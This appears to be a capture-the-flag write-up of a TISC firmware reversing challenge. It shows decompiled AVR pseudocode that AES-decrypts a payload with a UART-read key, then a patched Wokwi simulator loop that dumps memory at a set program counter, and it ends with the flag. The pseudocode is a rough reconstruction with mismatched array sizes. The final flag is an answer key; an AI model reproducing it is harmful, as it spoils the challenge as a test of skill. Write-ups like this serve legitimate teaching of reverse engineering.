Running it and I try with every strings inside firmware.hex to defuse but it doesn't work

With no luck, I fired up Ghidra and work my way to decompile

I suck at avr8 instructions but I roughly reconstructed the pseudocode


if(Keypad.isPressed("#")) {
	char payload[16] = {
		0xBA, 0x00, 0x87, 0x08, 0xF7, 0x1C, 0x57, 0xAC, 0x98, 0xB1, 0x53, 0xED,
		0xBF, 0xC8, 0x66, 0x0F, 0xD9, 0x30, 0x76, 0xFA, 0x94, 0x61, 0x2F, 0xD4,
		0xFE, 0xCB, 0x5F, 0xE6, 0x4F, 0xD2, 0x91, 0xCD
	};

	char key[16] = IO.readUartChip();
	char iv[16] =  {
		0xA3, 0xDA, 0xB1, 0x84, 0x88, 0x8A, 0xDF, 0xB0, 0x96, 0xDA, 0xC5, 0xC0,
		0xBB, 0xC6, 0xDD, 0xC0
	};

	key = key ^ 0xe8;

	AES.decrypt(key, iv, payload);

	if("TISC{" in payload) {
		IO.LCD.Write("B0mb defused")

		i2c.write(payload)
	} else {
		IO.LCD.Write("Decryption error or no key chip")
	}
}
					

Last step is finding the right key

3 Days later...

That was so unexpected that I screamed lmao... Who would expect it to be hidden in a PDF file hahaha

Now, it works!

Ahhh but I'm abit too tired to wire up another i2c chip to get the flag

I decided to download a local copy of Wokwi and modify it to dump the memory once the program counter reaches 0x1351 (After the b0mb prints success)


(0, n._)(this, "serialInterface", void 0), (0, n._)(this, "onBreak", void 0), (0, n._)(this, "profileEvents", []), (0, n._)(this, "execute", t => {
let {
    cpu: e
} = this, {
    pcMask: i
} = this, n = this.clock.frequency * (t / 1e3);



function _arrayBufferToBase64( buffer ) {
    var binary = '';
    var bytes = new Uint8Array( buffer );
    var len = bytes.byteLength;
    for (var i = 0; i < len; i++) {
        binary += String.fromCharCode( bytes[ i ] );
    }
    return window.btoa( binary );
}

if(!this.www) {
    console.log("window.open");
    this.www = window.open("/hexview.html", "Hew View", "width=800,height=1200");
    this.memSnapshot = [];
    this.doneee = false;
}

for (let t = e.cycles + n; e.cycles < t;) {
    let t = e.progMem[e.pc];
    if (this.resetActive ? e.cycles++ : K[t](e, t), e.pc &= i, 38296 === t) {
        var a;
        if (null === (a = this.onBreak) || void 0 === a ? void 0 : a.call(this)) break
    }

    if(e.pc == 0x1351 && !this.doneee) {
        this.www.postMessage(_arrayBufferToBase64(e.data));
        this.doneee = true;
    }
    

    e.tick()
}
return !this.stopped
});
					

Memory view

TISC{h3y_Lo0k_1_m4d3_My_0wn_h4rdw4r3_t0k3n!}